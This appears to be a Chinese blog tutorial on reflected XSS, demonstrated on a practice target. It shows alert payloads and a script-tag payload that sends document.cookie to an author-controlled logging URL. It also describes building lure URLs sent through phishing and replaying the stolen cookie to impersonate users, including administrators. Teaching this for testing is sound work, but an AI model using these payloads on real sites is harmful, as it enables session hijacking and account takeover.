Web渗透测试之XSS攻击:反射型XSS

前言

  在上一篇文章中我们基本了解了XSS的类型和危害,在本篇中我们将通过具体的例子和讲解,深入理解反射型XSS攻击的具体过程及危害。

反射型XSS

  在上一篇中我们了解到反射型XSS往往存在于需要通过get获得参数的地方,并且是被立即包含在当前响应的HTTP请求中的。接下来我们就来看看一个最简单的反射型XSS例子。

最简单的反射型XSS

靶场题目页面如下:
题目页面
接着在搜索栏输入一个最简单反射型XSS:< script >alert(1)< /script >,观察页面响应情况:
输入最简单的反射型XSS
结果如下:
反射型XSS结果
可以看到页面出现一个弹窗且弹框内容显示为1。接着再来看看我们写入这个XSS后浏览器地址栏情况:
浏览器地址栏情况
重点在于划红线部分:我们写入的XSS被立即包含在接下来的HTTP请求中。
  由这个简单例子我们就能看出来,反射型XSS攻击的基本流程为:
1.在需要提交get参数且存在XSS漏洞的地方写入我们的脚本,构成http://xxx/xx?abc=XSS这种形式的虚假URL;
2.接着通过点击或者提交等方式触发我们写入的XSS;
3.最后XSS在浏览器中被执行;
在清楚了反射型XSS工作的原理后,我们再来看看反射型XSS的具体用途。

利用反射型XSS获得cookie

  之前我们提到过,XSS最主要的危害就是可以让攻击者冒充受害用户,但我们难以直接获得受害用户的账号密码,因此我们把目标放在存有登录验证用的cookie上。

获得cookie的最简单的方法

  我们在存有XSS漏洞的搜索栏中输入< script>alert(document.cookie)< /script>:
获得cookie
提交后结果如下:
弹出cookie
可以看到,弹窗已经把cookie展示了出来。
  但现在存在的问题是,如果采用此方法,cookie只会在受害用户的浏览器中弹出,最终我们是无法获得cookie的。联想到SQL盲注,同样是无“回显”,而当时我们的采用的方式是将受我们控制的域名一同写进SQL语句中,然后通过查看服务器访问日志来获得我们想要数据。同样地,在反射型XSS中,我们也可以在XSS中写入受我们控制的域名,然后通过查看该域名服务器的请求日志来获得cookie。

DNSlog辅助获得cookie

  我们可以在存在XSS漏洞的地方加上诸如以下XSS:
< script src=“http://127.0.0.1/xss/UYxzH8?1608472710/” + document.cookie;> < /script>(http://127.0.0.1/xss/UYxzH8?1608472710/ 为笔者在本地搭建的XSS平台)
接着构造诸如以下虚假URL诱使受害用户点击:
http://xxx/xx?abc=< script src=“http://127.0.0.1/xss/UYxzH8?1608472710/” + document.cookie;> < /script>
  在用户点击之后只需通过查看日志即可获得受害用户的cookie。在获得cookie之后就可以利用抓包工具修改请求包中的cookie,将其替换为受害用户的cookie即可登录受害用户的账号。而诱使用户点击虚假URL的方式有很多,如钓鱼邮件、特殊的图片或文本等等。涉及社会工程学相关方面的技能说难不难,说容易也不容易,笔者在此不做示范。

总结

  我们可以通过XSS:< script>alert(1)< /script>来简单判断是否存在XSS漏洞。在确定XSS漏洞的类型为反射型之后,可以在XSS中加入受我们控制的域名,使得带有cookie的请求访问我们的服务器。在诱使受害用户点击我们构造的虚假URL之后,我们只需查看DNS请求日志即可获得cookie。最后通过抓包工具修改请求包中的cookie就能达到冒充受害用户的目的,而如果受害者拥有管理员权限,则危害更大,攻击者相当于变相获得了管理员权限。
  以上就是本篇的全部内容,我们下篇见。

  • 3
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值